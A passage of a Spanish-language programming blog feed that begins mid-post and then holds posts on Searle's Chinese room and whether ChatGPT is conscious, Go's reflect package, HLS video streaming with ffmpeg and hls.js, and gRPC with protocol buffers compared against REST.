Este patrón de diseño es muy útil cuando hay que procesar candidades enormes de tareas y cuando no queremos sobrecargar el sistema. Y, como puedes suponer es bastante popular y útil en lenguajes de programación que utilizan fuertemente la concurrencia, tales como el lenguaje de programación Go.

Chat Gpt, La Habitacion China De Searle y la consciencia

Wed, 19 Apr 2023 00:00:00 +0000

Chat GPT y la inteligencia artificial están en boca de todos, algunos le tienen miedo, por su capacidad para resolver problemas de código a otros les entusiasma el potencial que tiene para cambiar el mundo laboral y sus numerosas aplicaciones; tales como el desarrollo de nuevos fármacos .

View this post on Instagram

Hoy dejo de lado las consecuencias económicas de la IA y la pregunta sobre si estamos en una burbuja de IA o no , para centrarme en el aspecto filosófico de Chat GPT y reflexionar un poco sobre la pregunta: ¿entiende realmente Chat GPT el lenguaje? O dicho de otra forma: ¿es consciente Chat GPT?

What a typical “learning machine” does, is finding a mathematical formula, which, when applied to a collection of inputs (called “training data”), produces the desired outputs -The Hundred-Page Machine Learning Book, Adriy Burkov

La habitación china de John Searle o porque las máquinas dan la ilusión de pensar

John Searle, fue un filósofo que se preguntó si una computadora puede entender realmente el lenguaje. Y para esto diseñó un experimento mental muy interesante:

Imagen de la habitación china de Searle generada con Dall-E

Un humano, dentro de una habitación completamente aislada del mundo exterior, con una serie de instrucciones para procesar símbolos en chino y devolver una respuesta. Hay que resaltar que la persona en el interior de la habitación desconoce el idioma chino y se limita a seguir la serie de instrucciones que le fueron otorgadas, es decir, no comprende el texto que entra, ni el que sale.

graph TD; 沙悟淨-->Habitación; Habitación-->西遊記;

¿Puedes notar las similitudes con una computadora? Son bastante obvias; hay un input o entrada, un output o salida y una caja negra o programa informático, cuyos detalles del funcionamiento escaparían para los que se encuentran afuera de este pequeño sistema simplificado.

graph TD; Input-->programa; programa-->output;

De acuerdo a Searle, para las personas que están afuera de la habitación, pareciera que lo que sea que está dentro entiende perfectamente el idioma chino.

¿Es ChatGPT consciente o solo es una ilusión?

Sin embargo, nosotros sabemos que la persona en el interior solo está siguiendo un set de instrucciones, tan complejísimo como nosotros querramos, pero que no implica una comprensión del lenguaje, sino un proceso totalmente mecánico. Según Searle, esta situación es análoga al funcionamiento de una computadora.

Extrapolando lo anterior a ChatGPT; aunque un modelo de lenguaje puede producir respuestas que parecen coherentes y relevantes, no hay evidencia de que comprenda realmente el lenguaje o tenga consciencia de su significado.

De acuerdo con Searle, ChatGPT(o cualquier otro Large Language Model LLM, como Mistral, DeepSeek, etc.) puede estar ejecutando el algoritmo más complejo existente pero, según Searle, no hay más consciencia del proceso ahí que la que encontrariamos en el reloj mecánico más sofisticado.

¿Pero entonces que marca la diferencia entre una inteligencia real y un proceso mecánico? ¿existe dicha diferencia?

¿Están la consciencia y la inteligencia artificial relacionadas?

El máximo representante de la inteligencia en la tierra es el ser humano (o al menos nuestro ego inflado nos dice eso), y también sucede que el ser humano es un ente vivo con consciencia.

Lo anterior nos lleva a la siguiente interrogante: ¿es necesaria un ser vivo con consciencia para tener inteligencia? ¿o quizás es al revés?

La postura de que la inteligencia requiere consciencia

Algunos especialistas en AI, como Pinella, argumentan que la consciencia y la inteligencia están relacionados y que incluso tendriamos un gradiente de consciencia mientras avanzamos en la complejidad e inteligencia de los organismos. Dotando del calificativo “consciente” a animales superiores como delfines, orangutanes, cuervos y otros organismos que muestran rasgos de inteligencia.

Otro punto de vista es el de Penrose, él afirma que no sólo la consciencia y la inteligencia están relacionadas sino que la inteligencia es un rasgo exclusivo de los seres conscientes . Por lo que, no importa que tan complejo e inteligente se vuelva un sistema, no será consciente y por ende inteligente tampoco, algo parecido a lo que Searle afirmaba.

Otros relacionan inteligencia con consciencia y afirman que un sistema se vuelve más consciente mientras más inteligente se vuelve, quizás como ejemplo podriamos nombrar a Blake Lemoine, quien aseguraba que el modelo de inteligencia artificial de Google había cobrado consciencia .

Richard Dawkins, el escritor del gen egoista, y uno de los máximos representantes del ateismo también considera que LLMs como Claude pueden ser conscientes .

Otro ejemplo es la teoría de la información integrada, de Giulio Tononi, que propone que la consciencia se genera cuando un sistema es capaz de incorporar información e unificarla, y que este nivel de consciencia (llamado Φ) puede calcularse para cualquier sistema, teniendo un gradiente de consciencia que va desde los seres más simples hasta los más complejos.

El problema de determinar si algo es consciente o no

Para empeorar la situación, tenemos el problema de que la consciencia solo puede ser experimentada por el ente consciente, no existe un experimento que nos permita decir a ciencia cierta si una entidad es consciente o no. Sin caer en un solipsismo absolutista, nosotros consideramos que el resto de seres humanos son conscientes solo porque nosotros sabemos que lo somos, no porque tengamos pruebas irrefutables de ello.

Repito, no estoy hablando de solipsismo, me refiero a que, aunque creas que hay más consciencias a parte de la tuya, solo puedes estar seguro de la existencia de la tuya. No existe ninguna manera, al menos hasta hoy, de que puedas probar la consciencia de otro ente que no seas tú mismo. Cogito, ergo sum.

O puesto en palabras por Ludwig Wittgenstein en su libro, Investigaciones Filosóficas:

Imagina que al nacer te dan una caja con un escarabajo dentro. Se trata de un objeto muy valioso y extremadamente personal, tanto, que nadie puede ver el interior de la caja salvo uno mismo. De este modo, no existe una forma objetiva de confirmar que todas las cajas contengan lo mismo. En el mejor de los casos podrían contener un escarabajo de verdad, pero nada garantiza al cien por cien que en lugar del escarabajo no haya otros insectos, como una hormiga o una araña, o que incluso no haya nada, eso sí, sea lo que sea, siempre se considerará bajo el término de «escarabajo».

Mientras no entendamos que es la consciencia exactamente, no podremos saber que tenemos que “medir” para saber si otro ente es consciente, o si acaso tiene sentido el término “medir” cuando hablamos de consciencia.

La postura que afirma que existe inteligencia sin consciencia

Por el contrario, existen posiciones que defienden que la inteligencia no depende necesariamente de la consciencia, sino que puede existir en sistemas que no tienen experiencia subjetiva. Para ejemplo basta citar a Alpha Go y otros programas informáticos que son capaces de “analizar” y “responder” a situaciones muy complejas y con muchos matices, sin existir más allá del juego para el que fueron programados, o a los sonámbulos, que pueden mostrar signos de inteligencia aún no estando conscientes .

Sir Roger Penrose refuerza el punto anterior en su libro “ Emperor’s new mind ”, en el que afirma que la consciencia no es computable, por lo que nunca llegaremos a crear una Consciencia Artificial mediante algoritmos ni ésta surgirá de forma natural de la complejidad computacional, por más fine-tuning de un LLM (Large Language Model) u otro paradigma de modelo que entrenemos.

Pero aunque los seres humanos tengan procesos inconscientes capaces de existir sin la manifestación de la consciencia… debe de existir algo más que una simple acción mecánica, después de todo los animales son mucho más complejos que las máquinas ¿no?

Autómatas biológicos, inteligencia y consciencia

A veces creemos que solo las máquinas tienen un comportamiento mecánico y que cualquier ser vivo sería capaz de responder de manera muy diferente a la que haría una máquina, con más versatilidad y adaptándose a los cambios, pero, ¿es siempre así?

En el libro “Un eterno y grácil bucle” de Douglas R. Hofstader. El autor cita un experimento en el que una avispa sphex es engañada para acercar un grillo a los límites de una madriguera hasta 40 veces . Tal cual como si fuera un programa de computadora, esta avispa queda atorada en un bucle infinito del que no puede escapar, ¿qué tan diferente es esto de un programa informático que, tras el mismo input, genera el mismo output?

Como bien especula Hofstader, un humano se hubiera “salido” del bucle para detenerse por unos momentos e investigar lo que estaba ocurriendo.

Avispa Sphex del experimento mencionado en el libro Un eterno y grácil bucle

Este experimento me hizo cuestionarme sobre si algunos seres vivos no son otra cosa que autómatas biológicos y también sobre donde está el punto de inflexión en el que un ser vivo deja de ser un autómata y se vuelve consciente, ¿existen gradientes de consciencia? Y, si es así, ¿como se ve siente consciencia más allá de la que experimentamos los humanos? Si la consciencia existe como una manifestación macroscópica, ¿es determinista? ¿o pertenece al mundo cuántico de la indeterminación? No lo sé y creo que la verdad aún no elige un ganador.

Mi opinión al respecto de la si los LLMs se volverán conscientes

Tras tiempo leyendo sobre el tema e investigando lo que diferentes autores tienen que decir: Dawkins, Penrose, Planck, entre otros. Me he decantado por la idea de que la consciencia no puede ser emulada por métodos matemáticos sin un entendimiento profundo y meticuloso de su naturaleza, lo cual, por el momento, está fuera de nuestro alcance.

Sí, esto incluye a OpenAI, Anthropic o cualquier otra compañia. No importa El problema duro sigue igual de vigente, pero más relevante que nunca.

Mi segunda razón es más especulativa. Ahora mismo barajo la idea de que la consciencia pueda ser un ente fundamental de la existencia, al mismo nivel o quizás más alto que las leyes físicas. En cuyo caso no importa que tan sofisticado sea el algoritmo y con cuantos datos de entrenamiento dispongamos, jamás podremos crear una AGI consciente, tendremos que contentarnos con un modelo increíblemente bueno en todo, pero mecánico. Pero repito, esto es más especulativo y una convicción mucho más débil.

Mi opinión sobre si tendremos una AGI próximamente

También creo que la posibilidad de una AGI es remota. Creo que soy partidario de que una AGI requiere algún nivel de consciencia, y por esa razón, hasta que no entendamos lo que implica una consciencia no podremos “programarla” si es que algo así tiene sentido.

Obviamente habrá intentos, pero serán más parecidos a tratar de integrar una una serie de AIs especializadas en un mismo robot. Algo parecido a tener un montón de servidores con múltiples servidores del Model Context Protocol , lo cual no es otra cosa sino un ejemplo más sofisticado de la habitación china de Searle.

¿Qué leer o ver para saber más de inteligencia artificial y consciencia?

La consciencia es un tema bastante complejo que no puede abordarse en unas cuentas lineas, no por nada se le conoce como el “problema duro”, pero si estas pinceladas te dejaron con ganas de más, te dejo mi lista de recursos favoritos para ahondar este tema tan complejo.

Un eterno y grácil bucle de Douglas R. Hofstader : el autor profundiza en el tema de la autoreferencia y desarrolla la pregunta: ¿puede un sistema comprenderse así mismo?
La nueva mente del emperador de Sir Roger Penrose : el autor establece el contexto de las leyes del universo y analiza si la consciencia y la inteligencia están relacionadas y si estas tienen un carácter determinista o no determinista.
Brains, Minds, and Machines: Consciousness and Intelligence : plática del MIT, donde se desarrollan los temas de cerebros, consciencia, inteligencia y máquinas. Radicalmente infravalorada; ¿7000 vistas en youtube nada más? ¿de verdad?
¿Puede un programa estar vivo? pequeño videoensayo donde uno de mis youtubers favoritos desarrolla el tema de si un programa informático puede estar vivo.
The connection between intelligence and conciousness

Go con Reflect: Mayor Flexibilidad En Tu Código

Mon, 13 Mar 2023 00:00:00 +0000

El paquete “reflect” es una biblioteca útil en el lenguaje de programación Go que proporciona funciones para trabajar con la reflexión.

¡Hola! ¿Ya sabes que tengo un tutorial completo del lenguaje de programación Go completamente gratis?, puedes encontrarlo directamente en la barra del menú superior o haciendo clic en este panel

¿Qué es la reflexión en programación?

La reflexión es la habilidad de un programa de inspeccionar su propia estructura en tiempo de ejecución. Esto incluye la habilidad de examinar: tipos, valores y metada de los objetos en memoria. La reflexión nos permite tener código más flexible y genérico y nos permite crear funciones y estructuras de dato que pueden trabajar con cualquier tipo de objeto, sin importar su tipo. Además es la base para la metaprogramación.

Podemos dividir la reflexión de Go en dos tipos de datos importantes:

Type: El tipo de dato de Go, a partir del cual se desglosan todos la información del tipo de dato, su clase, su nombre, tamaño, etc.
Value: El valor del dato de Go, con métodos para modificar los datos de un objeto.

Tipo de dato: Type y TypeOf

Type es el tipo de dato más importante en el paquete reflect ya que representa al objeto en memoria y guarda toda la meta información de nuestros objetos: su tipo, representación, métodos y campos.

¿Y como obtenemos un Type? Con el método TypeOf

El método TypeOf del paquete reflect se utiliza para obtener el tipo de una interfaz, recibe un interface (o sea cualquier cosa) y retorna un reflect.Type; “el tipo más importante de reflect”.

graph TD; Reflect-->TypeOf; Reflect-->Type; TypeOf-->Type; Type-->Name; Type-->Kind; Type-->NumField; Type-->Field; Type-->Size;

En este diagrama coloco los que considero los métodos más importantes de Type, pero tanto el tipo reflect.Type y reflect.Value tiene muchos más.

Mira un ejemplo con TypeOf:

type Coffee struct {
	Origin string `tagEjemplo:"valor"`
	Height int
}

instanciaDelCafe := Coffee{Origin: "Michoacan", Height: 1100}
// TypeOf nos devolverá un tipo *reflect.Type*
typeOfCoffee := reflect.TypeOf(instanciaDelCafe)
fmt.Println(typeOfCoffee)
// main.coffee

Observa como el tipo de dato es una estructura que corresponde a main, de nombre coffee.

Name, el nombre del tipo de dato

Name contiene el nombre del respectivo tipo de dato

// TypeOf nos devolverá un tipo *reflect.Type*
typeOfCoffee := reflect.TypeOf(instanciaDelCafe)
fmt.Println(typeOfCoffee.Name())
// coffee

Kind, la clase del tipo de dato

El método TypeOf nos permite obtener un objeto Type, que representa el tipo de dato de nuestra interfaz, a partir del cual podemos leer la clase de dato, con su método Kind.

// TypeOf nos devolverá un tipo *reflect.Type*
typeOfCoffee := reflect.TypeOf(instanciaDelCafe)
fmt.Println(typeOfCoffee.Kind())
// struct

NumField para obtener el número de campos de un struct

A partir de Type podemos obtener todo tipo de información útil, como el número de campos de un objeto. Lo anterior es bastante útil en el caso de structs y otras estructuras con múltiples campos.

// Obtendremos el número de campos de nuestro objeto
typeOfCoffee := reflect.TypeOf(instanciaDelCafe)
coffeeNumFields := typeOfCoffee.NumField()
fmt.Println(coffeeNumFields)
// 2

En este caso obtenemos 2 campos (Location y Height)

Considera que si intentas obtener el NumField de un tipo int u otro tipo que no cuente con múltiples campos, Go devolverá un error

panic: reflect: Field of non-struct type int

Field y Type anidados de un struct

Type también pone a nuestra disposición el método Field, que junto con NumField, nos dejará acceder directamente a los campos de un struct, a partir de su índice.

Y, con esto, podremos acceder a los Types anidados dentro del objeto Type.

graph TD; TypeDelStruct-->Field; Field--Indice-->TypeDelField; TypeDelField-->Name; TypeDelField-->Kind; TypeDelField-->Otros...;

Cada Type anidado, al igual que el de su padre, contará con los métodos Name y Kind que ya vimos unas lineas arriba.

// Obtendremos el nombre y tipo del primer campo de nuestro objeto
typeOfCoffee := reflect.TypeOf(instanciaDelCafe)
field := typeOfCoffee.Field(0)
fmt.Println(field.Type.Name())
fmt.Println(field.Type.Kind())
// string string

En este caso, al ser tipos de datos primivitos, ambos son el mismo: string; puesto que el campo de tipo string se llama string.

Leer los tags de un campo de un struct con reflect

Reflect también nos permite acceder a los metadatos de un objeto, esas anotaciones que seguramente ya viste si has trabajado con ORM y/o JSON en Go.

Para obtener los Tags de un struct se usa Tag.Get.

// Añadimos un tag personalizado para posteriormente leerlo
type Coffee struct {
	Origin string `tagEjemplo:"valor"`
	Height int
}

typeOfCoffee := reflect.TypeOf(instanciaDelCafe)
field := typeOfCoffee.Field(0)
// ...
fmt.Println(field.Tag.Get("tagEjemplo"))
// valor

Valor del dato: Value y ValueOf

Como te dije anteriormente, además de Type, hay otra parte muy importante en reflect, esta es Value. Value se corresponde con el valor de una interfaz. ¿Y cómo podemos obtener un Value? Pues con ValueOf, ¿te fijas como se conserva la coherencia?

El método ValueOf recibe un interface como parámetro y retorna un objeto de tipo Value que contendrá todos los métodos necesarios para modificar su propio valor.

graph TD; Reflect-->ValueOf; Reflect-->Value; ValueOf-->Value; Value-->Elem; Elem-->Field; Elem-->Set; Elem-->SetString; Elem-->SetComplex; Elem-->SetFloat; Elem-->SetInt; Elem-->SetBool; Elem-->SetInt;

Mira este ejemplo donde se aprecia como ValueOf retorna el valor de nuestro struct.

// ValueOf devolverá el valor de nuestra variable
instanciaDelCafe := Coffee{Origin: "Michoacan", Height: 1100}
ValueOfCoffee := reflect.ValueOf(instanciaDelCafe)
fmt.Println(ValueOfCoffee)
// {Michoacan 1100}

A partir de Value nosotros tendremos una serie de métodos para cambiar el valor de un objeto.

Modificar un campo de un objeto Value

Para modificar un campo necesitamos acceder al objeto Value que apunta a nuestro objeto, el cual podemos obtener pasándole un puntero al método ValueOf. Y, a partir de ahí, usaremos Elem para acceder al valor de nuestro objeto, luego a su primer campo (sólo en el caso de structs) y finalmente cambiar el valor usando SetString.

instanciaDelCafe := Coffee{Origin: "Michoacan", Height: 1100}
valueofCoffee := reflect.ValueOf(&instanciaDelCafe)
valueofCoffee.Elem().Field(0).SetString("Oaxaca")
fmt.Println(instanciaDelCafe)
//{Oaxaca 1100}

Los métodos para asignar datos en reflect

Además del método SetString, Go nos provee de otra serie de métodos especializados para cada tipo de dato :

SetBool(x bool)
SetBytes(x []byte)
SetCap(n int)
SetComplex(x complex128)
SetFloat(x float64)
SetInt(x int64)
SetIterKey(iter *MapIter)
SetIterValue(iter *MapIter)
SetLen(n int)
SetMapIndex(key, elem Value)
SetPointer(x unsafe.Pointer)
SetString(x string)
SetUint(x uint64)
SetZero()

Estos métodos se pueden acceder directamente desde Value.Elem para tipos de datos no compuestos (como los structs).

stringOriginal := "Yo NO me imprimiré"
// Obtenemos el valor del string
valor := reflect.ValueOf(&stringOriginal)
stringModificado := "Yo SI me imprimiré en la pantalla"
// Cambiamos el valor original del string 
valor.Elem().SetString(stringModificado)
fmt.Printf(stringOriginal)
// Yo SI me imprimiré en la pantalla

Modificar un campo con el método Set

Los métodos especializados para “setear” un dato son muy útiles, pero a veces necesitamos un método más genérico que nos permita modificar los valores de manera dinámica, y para ello reflect nos provee de Set, sí Set a secas, sin nada más.

En este ejemplo, primero creamos un string, para posteriormente obtener el valor de este, con ValueOf, y luego pasarle este nuevo valor al método genérico Set, el cual recibe un objeto Value. ¿y de dónde sacamos Value? Pues de pasarle cualquier dato a ValueOf.

unString := "Oaxaca"
nuevoValue := reflect.ValueOf(unString)
valueofCoffee.Elem().Field(0).Set(nuevoValue)
// {Oaxaca 1100}

Creación de un objeto con reflect

Reflect también nos permite crear objetos de manera dinámica a partir de un Type. Para lo anterior, basta pasarle como argumento el tipo de objeto, Type, que queremos crear, al método New, el cual, como ya sabes, lo podemos obtener fácilmente a partir de TypeOf

typeOfCoffee := reflect.TypeOf(instanciaDelCafe)
nuevaInstancia := reflect.New(typeOfCoffee)
fmt.Println(nuevaInstancia)
// &{ 0}

A partir del tipo que obtuvimos con TypeOf reflect creará un nuevo objeto. Sin embargo, en este caso, al tratarse de un struct al cual no le hemos especificado los valores de sus campos, se inicializará con sus zero values .

Y ya se acabó la pequeña introducción a reflect, ahora ya sabes lo suficiente para confundirte y llorar mientras trabajas con cualquier cosa que necesite reflexión. ¿Genial no?

Stremea tus videos y audios: HLS para tus aplicaciones

Thu, 02 Mar 2023 00:00:00 +0000

Casi todos las aplicaciones web modernas realizan algún tipo de streaming, desde las plataformas de video, hasta aquellas de streaming en vivo. En esta entrada te explico como funciona el streaming con HLS de una manera tan simplificada que sacará tu purista interior.

Te dejo un ejemplo mínimo de streaming en Go aquí en mi repositorio en github , por si quieres ver el código.

Introducción al streaming

Los videos y los audios contienen muchísima información codificada, por lo que su manejo y descarga impacta fuertemente el uso y ancho de banda de cualquier servidor.

El streaming es un proceso que nos permite el envío continuo de pequeñas cantidades de información, en el caso de audio o video, estas pueden estar almacenadas o ser generadas mediante una cámara web o micrófono en tiempo real.

¿Qué tiene de malo el protocolo HTTP para reproducir videos y audios?

Los usuarios normales no miran los materiales audiovisuales completos, sí, incluso tú te brincas la publicidad paga de tus influencers favoritos y a veces solo vez 10 segundos del video de algunos tutoriales de internet. Si usaramos el protocolo HTTP a secas, el usuario normal descargaría un archivo enorme, solo para ver una fracción de este. Y además tendría que esperar a que la descarga se realice completamente antes de empezar a reproducirlo.

Como seguramente ya sabrás, enviar el video completo a todos los usuarios sería un sin sentido y consumiría cantidades enormes de ancho de banda y apuesto a que no quieres volver más ricos a tus proveedores de cloud.

¿La solución? Streaming; un modelo de uso bajo demanda, donde cada usuario reciba solo lo que va consumiendo del material audio visual, un poco a la vez y si el usuario cierra el video no le enviamos el resto.

Protocolos de streaming

Antes de empezar debes saber que existen bastantes protocolos de streaming, cada uno con sus particularidades en las que puedes ahondar por tu cuenta:

RTSP
RTP
RTCP
HLS
MPEG-DASH
HDS

Yo te voy a explicar HLS, ¿por qué? Porque HLS usa el protocolo HTTP, por lo que no requiere servidores especializados, además es compatible con cualquier dispositivo que se conecte a internet. Por último, le sumamos que últimamente es un protocolo bastante popular para el streaming de video.

El protocolo HLS

El protocolo HLS es un protocolo basado en HTTP, desarrollado por Apple (sí, la misma de la manzanita), por lo que cualquier dispositivo que se pueda conectar a internet será compatible con este protocolo. HLS usa TCP por debajo para enviar la información, evitando la potencial pérdida de paquetes de su contraparte, UDP. Y, como cereza del pastel, HLS reaccionar a cambios en la velocidad de internet y priorizar el envío de versiones más ligeras de nuestros achivos (con calidad menor, por supuesto). El reproductor en conjunción con la librería de HLS se encargan de esto de manera automática y tú no tienes que preocuparte de los detalles.

Preparación de los archivos para HLS en el servidor

La transmisión de video usando HLS se lleva a cabo en varios pasos. Primero, se codifica el video y se divide en segmentos de duración fija. Luego, estos segmentos se suben a un servidor HTTP y se proporcionan al reproductor multimedia del usuario a través de un índice de reproducción, un arrchivo con extensión M3U8, que es un archivo de texto simple que contiene información sobre los segmentos de video disponibles. Los segmentos pueden subirse a un CDN para obtener un mayor rendimiento, inclusive algunos CDN pueden encargarse de todo el proceso de codificación y segmentación de tu video.

Para implementar el protocolo en el lado del servidor necesitamos dos pasos:

Codificación
Particionado

Codificación

HLS requiere que nuestros archivos se encuentren en una codificación específica, por lo que primeramente necesitamos codificar nuestro archivo multimedia a H.264 o H.265 (bastante populares hoy en día), lo anterior para que cualquier dispositivo los pueda leer.

flowchart LR Video-->h.264 Video-->h.265

Si tu archivo original no se encuentra en esa codificación, puedes echar mano de herramientas como ffmpeg para convertirlo.

ffmpeg -i <input> -vcodec libx264 -acodec aac <output.mp4>

Particionar y crear un índice para HLS

A continuación, el video o audio que necesitamos colocar en streaming se divide en varias partes, generalmente con unos segundos de duración y, para saber en que orden va cada parte se creará también un índice.

flowchart LR Video-->index.m3u8 Video-->index0.ts Video-->index1.ts Video-->index2.ts Video-->indexn.ts

El particionado para HLS también puede llevarse a cabo con ffmpeg.

ffmpeg -i <tu-video>.mp4 -profile:v baseline -level 3.0 -start_number 0 -hls_time 10 -hls_list_size 0 -f hls index.m3u8

El índice que guarda el orden de cada segmento generado es un archivo con terminación m3u8, cuyo contenido luce más o menos así:

#EXTM3U
#EXT-X-VERSION:3
#EXT-X-TARGETDURATION:13
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.333333,
index0.ts
#EXTINF:9.750000,
index1.ts
#EXTINF:13.458333,
index2.ts
#EXTINF:9.083333,
index3.ts
#EXTINF:9.208333,
index4.ts
#EXTINF:8.333333,
# ... RESTO DE FRAGMENTOS ...
#EXTINF:2.416667,
index24.ts
#EXT-X-ENDLIST

Cada segmento del video está numerado de manera ascendente, cada uno con una extensión ts de manera que se sepa a donde pertenece.

HLS en el cliente

Eso fue lo más dificil, ahora solo necesitamos pasarle el índice a nuestro cliente y el dispositivo del cliente hará lo siguiente:

Descargará el índice,
Leerá el índice
Obtendrá el segmento que requiere para el video de acuerdo al índice
Lo añadirá a la cola de reproducción
Leerá nuevamente el índice para obtener el siguiente segmento y se repetirá el proceso

Todo lo anterior con Javascript, la librería del HLS player ya está desarrollada y se encarga de todo esto de manera automática.

sequenceDiagram participant Client participant Server Client->>Server: GET index.m3u8 Server->>Client: index.m3u8 Client->>Server: GET index0.ts Server->>Client: index0.ts Client->>Server: GET index1.ts Server->>Client: index1.ts

Ejemplo de HLS en el cliente

Mira este ejemplo super sencillo:

<script src="https://cdn.jsdelivr.net/npm/hls.js@latest"></script>
<!-- Cargamos la librería mediante un CDN o tu propio servidor -->
<video controls id="video"></video>
<!-- Cargamos la etiqueta de video -->

Y ahora procedemos a cargar el índice, o de otra manera, el archivo

  var video = document.getElementById('video');
  if(Hls.isSupported()) {
    // Si soporta HlS 
    var hls = new Hls();
    hls.loadSource('http://tuservidor.com/ruta/index.m3u8');
    // carga el índice
    hls.attachMedia(video);
    //Una vez cargado el índice reproduce el video
    hls.on(Hls.Events.MANIFEST_PARSED,function() {
      video.play();
  });
 } else if (video.canPlayType('application/vnd.apple.mpegurl')) {
    video.src = 'http://tuservidor.com/ruta/stream';
    video.addEventListener('loadedmetadata',function() {
      video.play();
    });
  }

Si examinarás el navegador verías que el video se va cargando poco a poco, y conforme se necesita, el navegador solicita el siguiente segmento video y lo añade automáticamente a la reproducción.

Descarga del índice HLS y de fragmentos de video en el navegador

Preprocesado de videos para HLS en el servidor

Si tú mismo te encargarás de procesar los videos quizás quieras implementar un servicio que se encargue de la codificación de los videos a h.264 o h.265 y que, posteriormente los divida en segmentos. Tras lo anterior quizás quieras ligarlos a un sistema de notificaciones que le deje saber a tu aplicación que el procesado del video ha terminado y ya puede reproducirse.

También puede que quieras tener variantes del video con diferente calidad, para que sean usadas en caso de una conexión más lenta en el cliente.

Por supuesto que todo lo anterior ya depende de tus necesidades de arquitectura.

#EXTM3U
#EXT-X-VERSION:6
#EXT-X-STREAM-INF:BANDWIDTH=1210000,RESOLUTION=480x360,CODECS="avc1.640015,mp4a.40.2"
index-360p.m3u8

#EXT-X-STREAM-INF:BANDWIDTH=2283600,RESOLUTION=640x480,CODECS="avc1.64001e,mp4a.40.2"
index-480p.m3u8

#EXT-X-STREAM-INF:BANDWIDTH=3933600,RESOLUTION=1280x720,CODECS="avc1.64001f,mp4a.40.2"
index-720p.m3u8

Con esto tienes lo mínimo para crear un ejemplo básico y a partir de ahí ir por tu cuenta.

APIs de alto rendimiento Go Lang gRPC y Protobuffers

Thu, 19 Jan 2023 00:00:00 +0000

Los protobuffers te permiten crear una API gRPC que tiene la característica de ser increíblemente más rápida, por usar binario en lugar de otros formatos menos optimizados (Como JSON), en esta entrada aprenderás en que consiste este tipo de API y porque es tan rápido.

En mi entrada sobre las características básicas sobre una API REST te mencioné que, además de REST, existían otros tipos de APIS, una de ellas es gRPC, la cual se deriva de RPC, por lo que empecemos la entrada hablando sobre esta última.

¿Qué es RPC?

Las siglas de RPC vienen de Remote Procedure Call (Llamada de procedimiento remoto en español), que, en palabras simples, se refiere a invocar a la ejecución de código en una máquina, desde otra máquina, generalmente un servidor, de manera que, para el programador, pareciera que la ejecución se realizó de manera local.

¿Cómo funciona RPC?

El proceso más detallado es el siguiente:

El cliente realiza la llamada enviando un mensaje a la red.
La llamada incluye un procedimiento para codificar los métodos, tipos de request y tipo de respuesta en el formato adecuado ( marshalling ). A este procedimiento se llama el stub.
El servidor recibe la petición y usa el stub para decodificar los datos en el formato adecuado del entorno RPC y saber que ejecutar y con que información.
Se ejecuta la tarea en el servidor y como resultado se genera una respuesta.
La respuesta del servidor se codifica usando el stub y se envía al cliente.
El cliente recibe la respuesta y la decodifica en el formato adecuado.

Esquema del funcionamiento de gRPC

¿Notaste que mencioné codificación de datos? Pues bien, un aspecto de RPC a destacar es que requiere que tanto cliente como servidor usen el mismo lenguaje de programación, lo cual lo vuelve una desventaja en entornos donde se pueden mezclar múltiples lenguajes de programación.

Ahora sí, vamos con gRPC.

¿Qué es Go Lang gRPC?

Google tomó en cuenta las carencias de RPC y decidió mejorarlo creando gRPC.

gRPC emula a RPC con la ventaja de que no necesita usar el mismo lenguaje de programación para llevar a cabo la comunicación entre máquinas.

¿Y qué pasó con la codificación de datos? Pues Google desarrolló los Protocol Buffers (o protobuffers) para usarlos como el formato predeterminado d gRPC en el intercambio de información entre máquinas y conseguir un rendimiento superior a otros formatos como JSON o XML.

¿Qué son los Go Lang protobuffers?

Seguramente has trabajado con APIs y has notado que, al comunicarte con una API, existe un intercambio de información; tú le mandas información a la API y esta te retorna una respuesta. Este intercambio de información puede llevarse a cabo en diferentes formatos, texto plano, XML (si eres de la vieja escuela) o JSON (el más popular a la fecha de hoy).

Para que este intercambio ocurra tiene que realizarse una serialización de la información al enviarla y, posteriormente, una deserialización.

graph TD; JSON-- serialización -->data; data-- deserialización -->JSON;

Los Protocol Buffers (protobuffers en adelante) son un formato completamente agnóstico de lenguaje y plataforma, que gRPC usa para serializar y deserializar información estructurada solo que, en lugar de usar JSON, XML u otro formato, se realiza directamente en binario. Lo anterior, como ya sabes, lo vuelve mucho más eficiente que usar un formato más amigable con los humanos como JSON.

La compilación de el archivo .proto es unidireccional, mientras que la serialiazación deserialización es bidireccional

¿Cómo convertir información con los protobuffers?

Simplificando, para crear el código necesario para serializar y deserializar en el formato de los protobuffers partimos de un archivo de extensión .proto, este se encargará de modelar la información que usaremos para comunicarmos, así como los servicios que estarán disponibles para nuestra API. Básicamente es decirle como está estructurada nuestra información y que cambios vamos a realizar sobre esta información junto con lo que recibirán como entrada y devolverán como respuesta.

message DataResponse {
    int32 id = 1;
    string info = 2;
    string result = 3;
}

message DataRequest {
    int32 id = 1;
    string info = 2;
}

service Publisher {
    rpc ProcessData (DataRequest) returns (DataResponse) {}
}

Tras definir nuestros modelos y servicios, estos archivos se compilan, y nos generarán el código necesario para serializar y deserializar la información en el lenguaje que nosotros querramos, tanto del lado del cliente como del servidor. Nosotros no tenemos que preocuparnos de los detalles al respecto.

Actualmente el formato protobuffers se encuentra disponible para C#, C++, Go, Objective-C, Java, Python y Ruby. Revisa la documentación para tu lenguaje en particular.

REST vs Go Lang gRPC

A continuación te resumo en esta tabla las diferencias que existen entre REST y gRPC

Aspecto	REST (JSON/HTTP)	gRPC (Protobuf)
Velocidad	Más lento (texto)	Más rápido (codificación binaria)
Tamaño de datos	Grande (JSON)	Pequeño (Protobuf binario)
Compilación	Sin esquema (dinámico)	Requiere compilación de Protobuf
Versión HTTP	HTTP/1.1 (mayormente)	HTTP/2 (streams multiplexados)
Streaming	Limitado (SSE, WebSockets)	Nativo (cliente/servidor/bidireccional)
Compatibilidad con navegadores	Completa	Limitada (requiere gRPC-Web)
Generación de código	Opcional (Swagger/OpenAPI)	Integrada (`protoc`)
Casos de uso	APIs públicas, aplicaciones web	Microservicios, sistemas internos
Manejo de errores	Códigos de estado HTTP	Códigos de error detallados
Integración en Go	Structs manuales (`json:""`)	Structs generados automáticamente
Caché	Fácil (caché HTTP)	Difícil (formato binario)
Legibilidad humana	Sí (JSON)	No (binario)
Latencia	Alta (múltiples solicitudes)	Baja (multiplexación)

¿Qué tan rápido es gRPC comparado con una API REST JSON?

Pero, ¿qué tan eficiente es gRPC en comparación con REST? Mira esta comparación hecha por Matthew Leung .

	gRPC	REST
Peticiones/Segundo	48.00	4.00
Latencia de la petición	6.15	8.00
CPU ms/s	832.00	404.00
CPU/petición	17.33	101.11

